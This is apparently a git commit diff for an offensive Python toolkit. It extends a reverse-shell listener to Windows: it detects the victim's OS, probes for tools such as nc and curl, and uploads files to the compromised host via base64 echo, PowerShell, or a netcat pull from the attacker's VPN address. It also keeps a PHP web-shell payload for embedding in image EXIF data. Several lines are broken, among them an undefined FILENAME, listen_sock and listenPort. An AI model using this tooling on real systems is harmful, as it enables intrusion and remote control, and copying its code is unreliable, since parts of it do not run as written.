shell win impl.
This commit is contained in:
parent
ebb634aeab
commit
4fb2e30bbd
@ -2,7 +2,11 @@ import os
|
|||||||
import sys
|
import sys
|
||||||
|
|
||||||
__doc__ = __doc__ or ""
|
__doc__ = __doc__ or ""
|
||||||
__all__ = ["util", "fileserver", "xss_handler", "rev_shell", "xp_cmdshell", "dnsserver", "sqli", "smtpserver"]
|
__all__ = [
|
||||||
|
"util", "fileserver", "xss_handler", "rev_shell",
|
||||||
|
"xp_cmdshell", "dnsserver", "sqli", "smtpserver",
|
||||||
|
"upload_file"
|
||||||
|
]
|
||||||
|
|
||||||
inc_dir = os.path.dirname(os.path.realpath(__file__))
|
inc_dir = os.path.dirname(os.path.realpath(__file__))
|
||||||
sys.path.append(inc_dir)
|
sys.path.append(inc_dir)
|
||||||
|
117
rev_shell.py
117
rev_shell.py
@ -5,6 +5,7 @@ import os
|
|||||||
import sys
|
import sys
|
||||||
import pty
|
import pty
|
||||||
import util
|
import util
|
||||||
|
import upload_file
|
||||||
import time
|
import time
|
||||||
import random
|
import random
|
||||||
import threading
|
import threading
|
||||||
@ -31,6 +32,7 @@ class ShellListener:
|
|||||||
self.connection = None
|
self.connection = None
|
||||||
self.on_connect = None
|
self.on_connect = None
|
||||||
self.features = set()
|
self.features = set()
|
||||||
|
self.os = None # we need a way to find the OS here
|
||||||
|
|
||||||
def startBackground(self):
|
def startBackground(self):
|
||||||
self.listen_thread = threading.Thread(target=self.start)
|
self.listen_thread = threading.Thread(target=self.start)
|
||||||
@ -41,11 +43,14 @@ class ShellListener:
|
|||||||
return feature.lower() in self.features
|
return feature.lower() in self.features
|
||||||
|
|
||||||
def probe_features(self):
|
def probe_features(self):
|
||||||
|
if self.os == "unix":
|
||||||
features = ["wget", "curl", "nc", "sudo", "telnet", "docker", "python"]
|
features = ["wget", "curl", "nc", "sudo", "telnet", "docker", "python"]
|
||||||
for feature in features:
|
for feature in features:
|
||||||
output = self.exec_sync("whereis " + feature)
|
output = self.exec_sync("whereis " + feature)
|
||||||
if output.startswith(feature.encode() + b": ") and len(output) >= len(feature)+2:
|
if output.startswith(feature.encode() + b": ") and len(output) >= len(feature)+2:
|
||||||
self.features.add(feature.lower())
|
self.features.add(feature.lower())
|
||||||
|
else:
|
||||||
|
print("[-] Can't probe features for os:", self.os)
|
||||||
|
|
||||||
def get_features(self):
|
def get_features(self):
|
||||||
return self.features
|
return self.features
|
||||||
@ -63,14 +68,31 @@ class ShellListener:
|
|||||||
if self.on_connect:
|
if self.on_connect:
|
||||||
self.on_connect(addr)
|
self.on_connect(addr)
|
||||||
|
|
||||||
|
got_first_prompt = False
|
||||||
while self.running:
|
while self.running:
|
||||||
data = self.connection.recv(1024)
|
data = self.connection.recv(1024)
|
||||||
if not data:
|
if not data:
|
||||||
break
|
break
|
||||||
|
|
||||||
|
if self.os is None and not got_first_prompt:
|
||||||
|
if b"Windows PowerShell" in data:
|
||||||
|
self.os = "win"
|
||||||
|
elif b"bash" in data or b"sh" in data:
|
||||||
|
self.os = "unix"
|
||||||
|
|
||||||
|
if self.os and self.verbose:
|
||||||
|
print("OS PROBED:", self.os)
|
||||||
|
|
||||||
if self.verbose:
|
if self.verbose:
|
||||||
print("< ", data)
|
print("< ", data)
|
||||||
|
|
||||||
|
if got_first_prompt: # TODO: check this...
|
||||||
for callback in self.on_message:
|
for callback in self.on_message:
|
||||||
callback(data)
|
callback(data)
|
||||||
|
elif self.is_prompt(data):
|
||||||
|
got_first_prompt = True
|
||||||
|
if self.verbose:
|
||||||
|
print("RECV first prompt")
|
||||||
|
|
||||||
print("[-] Disconnected")
|
print("[-] Disconnected")
|
||||||
self.connection = None
|
self.connection = None
|
||||||
@ -96,7 +118,23 @@ class ShellListener:
|
|||||||
data += b"\n"
|
data += b"\n"
|
||||||
return self.send(data)
|
return self.send(data)
|
||||||
|
|
||||||
|
def is_prompt(self, data):
|
||||||
|
if self.os == "unix":
|
||||||
|
if data.endswith(b"# ") or data.endswith(b"$ "):
|
||||||
|
return True
|
||||||
|
elif self.os == "win":
|
||||||
|
if data.endswith(b"> "):
|
||||||
|
return True
|
||||||
|
|
||||||
|
return False
|
||||||
|
|
||||||
def exec_sync(self, cmd):
|
def exec_sync(self, cmd):
|
||||||
|
|
||||||
|
if self.os is None:
|
||||||
|
print("[-] OS not probed yet, waiting...")
|
||||||
|
while self.os is None:
|
||||||
|
time.sleep(0.1)
|
||||||
|
|
||||||
output = b""
|
output = b""
|
||||||
complete = False
|
complete = False
|
||||||
|
|
||||||
@ -111,12 +149,17 @@ class ShellListener:
|
|||||||
return
|
return
|
||||||
|
|
||||||
output += data
|
output += data
|
||||||
if data.endswith(b"# ") or data.endswith(b"$ "):
|
if self.is_prompt(output):
|
||||||
complete = True
|
complete = True
|
||||||
if b"\n" in output:
|
if self.os == "unix":
|
||||||
output = output[0:output.rindex(b"\n")]
|
line_ending = b"\n"
|
||||||
if output.startswith(cmd + b"\n"):
|
elif self.os == "win":
|
||||||
output = output[len(cmd)+1:]
|
line_ending = b"\r\n"
|
||||||
|
|
||||||
|
if line_ending in output:
|
||||||
|
output = output[0:output.rindex(line_ending)]
|
||||||
|
if output.startswith(cmd + line_ending):
|
||||||
|
output = output[len(cmd)+len(line_ending):]
|
||||||
|
|
||||||
self.on_message.append(callback)
|
self.on_message.append(callback)
|
||||||
self.sendline(cmd)
|
self.sendline(cmd)
|
||||||
@ -140,13 +183,42 @@ class ShellListener:
|
|||||||
time.sleep(0.1)
|
time.sleep(0.1)
|
||||||
return self.running
|
return self.running
|
||||||
|
|
||||||
def write_file(self, path, data_or_fd, permissions=None):
|
def get_cwd(self):
|
||||||
|
if self.os == "unix":
|
||||||
|
return self.exec_sync("pwd").decode()
|
||||||
|
elif self.os == "win":
|
||||||
|
return self.exec_sync("pwd | foreach {$_.Path}").decode()
|
||||||
|
else:
|
||||||
|
print("[-] get_cwd not implemented for os:", self.os)
|
||||||
|
return None
|
||||||
|
|
||||||
|
def write_file(self, path, data_or_fd, permissions=None, method=None, sync=False, **kwargs):
|
||||||
|
|
||||||
|
if method == None:
|
||||||
|
if self.os == "win":
|
||||||
|
method = "powershell"
|
||||||
|
elif self.os == "unix":
|
||||||
|
method = "echo"
|
||||||
|
else:
|
||||||
|
print("[-] No method specified, assuming 'echo'")
|
||||||
|
method = echo
|
||||||
|
|
||||||
|
send_func = self.sendline if not sync else self.exec_sync
|
||||||
|
|
||||||
def write_chunk(chunk, first=False):
|
def write_chunk(chunk, first=False):
|
||||||
# assume this is unix
|
|
||||||
chunk = base64.b64encode(chunk).decode()
|
chunk = base64.b64encode(chunk).decode()
|
||||||
|
if method == "powershell":
|
||||||
|
send_func(f"$decodedBytes = [System.Convert]::FromBase64String('{chunk}')")
|
||||||
|
send_func(f"$stream.Write($decodedBytes, 0, $decodedBytes.Length)")
|
||||||
|
else:
|
||||||
operator = ">" if first else ">>"
|
operator = ">" if first else ">>"
|
||||||
self.sendline(f"echo {chunk}|base64 -d {operator} {path}")
|
send_func(f"echo {chunk}|base64 -d {operator} {path}")
|
||||||
|
|
||||||
|
if method == "echo" or method == "powershell":
|
||||||
|
|
||||||
|
if method == "powershell":
|
||||||
|
path = path.replace("'","\\'")
|
||||||
|
send_func(f"$stream = [System.IO.File]::Open('{path}', [System.IO.FileMode]::Create)")
|
||||||
|
|
||||||
chunk_size = 1024
|
chunk_size = 1024
|
||||||
if hasattr(data_or_fd, "read"):
|
if hasattr(data_or_fd, "read"):
|
||||||
@ -166,8 +238,31 @@ class ShellListener:
|
|||||||
for offset in range(0, len(data_or_fd), chunk_size):
|
for offset in range(0, len(data_or_fd), chunk_size):
|
||||||
write_chunk(data_or_fd[offset:chunk_size], offset == 0)
|
write_chunk(data_or_fd[offset:chunk_size], offset == 0)
|
||||||
|
|
||||||
if permissions:
|
if method == "powershell":
|
||||||
self.sendline(f"chmod {permissions} {path}")
|
send_func(f"$stream.Close()")
|
||||||
|
|
||||||
|
elif method == "nc" or method == "netcat":
|
||||||
|
ip_addr = util.get_address()
|
||||||
|
bin_path = "nc" if not "bin_path" in kwargs else kwargs["bin_path"]
|
||||||
|
port = None if "listen_port" not in kwargs else int(kwargs["listen_port"])
|
||||||
|
sock = util.open_server(ip_addr, port, retry=False)
|
||||||
|
if not sock:
|
||||||
|
return False
|
||||||
|
|
||||||
|
def serve_file():
|
||||||
|
upload_file.serve_file(sock, data_or_fd, forever=False)
|
||||||
|
|
||||||
|
port = sock.getsockname()[1]
|
||||||
|
upload_thread = threading.Thread(target=serve_file)
|
||||||
|
upload_thread.start()
|
||||||
|
send_func(f"{bin_path} {ip_addr} {port} > {path}")
|
||||||
|
upload_thread.join()
|
||||||
|
else:
|
||||||
|
print("[-] Unknown write-file method:", method)
|
||||||
|
return False
|
||||||
|
|
||||||
|
if permissions and self.os == "unix":
|
||||||
|
send_func(f"chmod {permissions} {path}")
|
||||||
|
|
||||||
class ParamikoTunnelServer(SocketServer.ThreadingTCPServer):
|
class ParamikoTunnelServer(SocketServer.ThreadingTCPServer):
|
||||||
daemon_threads = True
|
daemon_threads = True
|
||||||
@ -367,7 +462,7 @@ if __name__ == "__main__":
|
|||||||
# choose random port
|
# choose random port
|
||||||
if listen_port is None:
|
if listen_port is None:
|
||||||
listen_port = random.randint(10000,65535)
|
listen_port = random.randint(10000,65535)
|
||||||
while util.isPortInUse(listen_port):
|
while util.is_port_in_use(listen_port):
|
||||||
listen_port = random.randint(10000,65535)
|
listen_port = random.randint(10000,65535)
|
||||||
|
|
||||||
payload = generate_payload(payload_type, local_address, listen_port)
|
payload = generate_payload(payload_type, local_address, listen_port)
|
||||||
|
@ -3,37 +3,49 @@
|
|||||||
import sys
|
import sys
|
||||||
import os
|
import os
|
||||||
import util
|
import util
|
||||||
|
import argparse
|
||||||
|
|
||||||
if len(sys.argv) < 2:
|
def serve_file(listen_sock, path, forever=False):
|
||||||
print("Usage: %s <file> [port]" % sys.argv[0])
|
try:
|
||||||
exit(1)
|
while True:
|
||||||
|
print('[ ] Waiting for a connection')
|
||||||
# Create a TCP/IP socket
|
connection, client_address = listen_sock.accept()
|
||||||
FILENAME = sys.argv[1]
|
|
||||||
|
|
||||||
# Bind the socket to the port or choose a random one
|
|
||||||
address = util.get_address()
|
|
||||||
port = None if len(sys.argv) < 3 else int(sys.argv[2])
|
|
||||||
sock = util.openServer(address, port)
|
|
||||||
if not sock:
|
|
||||||
exit(1)
|
|
||||||
|
|
||||||
print("Now listening, download file using:")
|
|
||||||
print('nc %s %d > %s' % (address, sock.getsockname()[1], os.path.basename(FILENAME)))
|
|
||||||
print()
|
|
||||||
|
|
||||||
while True:
|
|
||||||
# Wait for a connection
|
|
||||||
print('waiting for a connection')
|
|
||||||
connection, client_address = sock.accept()
|
|
||||||
|
|
||||||
try:
|
try:
|
||||||
print('connection from', client_address)
|
print('[+] Connection from', client_address)
|
||||||
|
|
||||||
with open(FILENAME, "rb") as f:
|
with open(FILENAME, "rb") as f:
|
||||||
content = f.read()
|
content = f.read()
|
||||||
connection.sendall(content)
|
connection.sendall(content)
|
||||||
|
|
||||||
|
print("[+] File Transfer succeeded")
|
||||||
finally:
|
finally:
|
||||||
# Clean up the connection
|
|
||||||
connection.close()
|
connection.close()
|
||||||
|
|
||||||
|
if not forever:
|
||||||
|
break
|
||||||
|
finally:
|
||||||
|
listen_sock.close()
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
|
||||||
|
parser = argparse.ArgumentParser(description="File Transfer using netcat")
|
||||||
|
parser.add_argument("--port", type=int, required=False, default=None, help="Listening port")
|
||||||
|
parser.add_argument("--path", type=str, required=True, help="Path to the file you wish to upload")
|
||||||
|
args = parser.parse_args()
|
||||||
|
|
||||||
|
path = args.path
|
||||||
|
if not os.path.isfile(path):
|
||||||
|
print("[-] File not found:", path)
|
||||||
|
exit(1)
|
||||||
|
|
||||||
|
address = util.get_address()
|
||||||
|
sock = util.open_server(address, args.port)
|
||||||
|
if not sock:
|
||||||
|
exit(1)
|
||||||
|
|
||||||
|
print("[+] Now listening, download file using:")
|
||||||
|
print('nc %s %d > %s' % (address, sock.getsockname()[1], os.path.basename(path)))
|
||||||
|
print()
|
||||||
|
|
||||||
|
serve_file(listen_sock, path, forever=True)
|
||||||
|
23
util.py
23
util.py
@ -12,13 +12,14 @@ import os
|
|||||||
import io
|
import io
|
||||||
import json
|
import json
|
||||||
|
|
||||||
from PIL import Image
|
def is_port_in_use(port):
|
||||||
|
|
||||||
def isPortInUse(port):
|
|
||||||
import socket
|
import socket
|
||||||
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
|
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
|
||||||
return s.connect_ex(('127.0.0.1', port)) == 0
|
return s.connect_ex(('127.0.0.1', port)) == 0
|
||||||
|
|
||||||
|
def get_payload_path(path):
|
||||||
|
return os.path.realpath(os.path.join(os.path.dirname(__file__), path))
|
||||||
|
|
||||||
def get_address(interface={"tun0", "vpn0"}):
|
def get_address(interface={"tun0", "vpn0"}):
|
||||||
if not isinstance(interface, str):
|
if not isinstance(interface, str):
|
||||||
requested = set(interface)
|
requested = set(interface)
|
||||||
@ -111,28 +112,27 @@ def assert_json_path(res, path, value, err=None):
|
|||||||
err = f"[-] '{res.url}' value at path '{path}' does not match. got={json_data} expected={value}" if err is None else err
|
err = f"[-] '{res.url}' value at path '{path}' does not match. got={json_data} expected={value}" if err is None else err
|
||||||
exit_with_error(res, err)
|
exit_with_error(res, err)
|
||||||
|
|
||||||
def openServer(address, ports=None):
|
def open_server(address, ports=None, retry=True):
|
||||||
listenPort = None
|
listen_port = None
|
||||||
retry = True
|
|
||||||
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
|
|
||||||
while retry:
|
while retry:
|
||||||
|
|
||||||
if isinstance(ports, int):
|
if isinstance(ports, int):
|
||||||
listenPort = ports
|
listen_port = ports
|
||||||
retry = False
|
retry = False
|
||||||
elif isinstance(ports, range):
|
elif isinstance(ports, range):
|
||||||
listenPort = random.randint(ports[0],ports[-1])
|
listen_port = random.randint(ports[0], ports[-1])
|
||||||
elif ports is None:
|
elif ports is None:
|
||||||
listenPort = random.randint(10000,65535)
|
listen_port = random.randint(10000,65535)
|
||||||
|
|
||||||
try:
|
try:
|
||||||
sock.bind((address, listenPort))
|
sock.bind((address, listen_port))
|
||||||
sock.listen(1)
|
sock.listen(1)
|
||||||
return sock
|
return sock
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
if not retry:
|
if not retry:
|
||||||
print("Unable to listen on port %d: %s" % (listenPort, str(e)))
|
print("[-] Unable to listen on port %d: %s" % (listenPort, str(e)))
|
||||||
raise e
|
raise e
|
||||||
|
|
||||||
class Stack:
|
class Stack:
|
||||||
@ -222,6 +222,7 @@ def base64urldecode(data):
|
|||||||
|
|
||||||
def set_exif_data(payload="<?php system($_GET['c']);?>", _in=None, _out=None, exif_tag=None, _format=None):
|
def set_exif_data(payload="<?php system($_GET['c']);?>", _in=None, _out=None, exif_tag=None, _format=None):
|
||||||
import exif
|
import exif
|
||||||
|
from PIL import Image
|
||||||
|
|
||||||
if _in is None or (isinstance(_in, str) and not os.path.exists(_in)):
|
if _in is None or (isinstance(_in, str) and not os.path.exists(_in)):
|
||||||
_in = Image.new("RGB", (50,50), (255,255,255))
|
_in = Image.new("RGB", (50,50), (255,255,255))
|
||||||
|
@ -88,7 +88,7 @@ if __name__ == "__main__":
|
|||||||
|
|
||||||
# choose random port
|
# choose random port
|
||||||
if listen_port is None:
|
if listen_port is None:
|
||||||
sock = util.openServer(local_address)
|
sock = util.open_server(local_address)
|
||||||
if not sock:
|
if not sock:
|
||||||
exit(1)
|
exit(1)
|
||||||
listen_port = sock.getsockname()[1]
|
listen_port = sock.getsockname()[1]
|
||||||
|
Loading…
Reference in New Issue
Block a user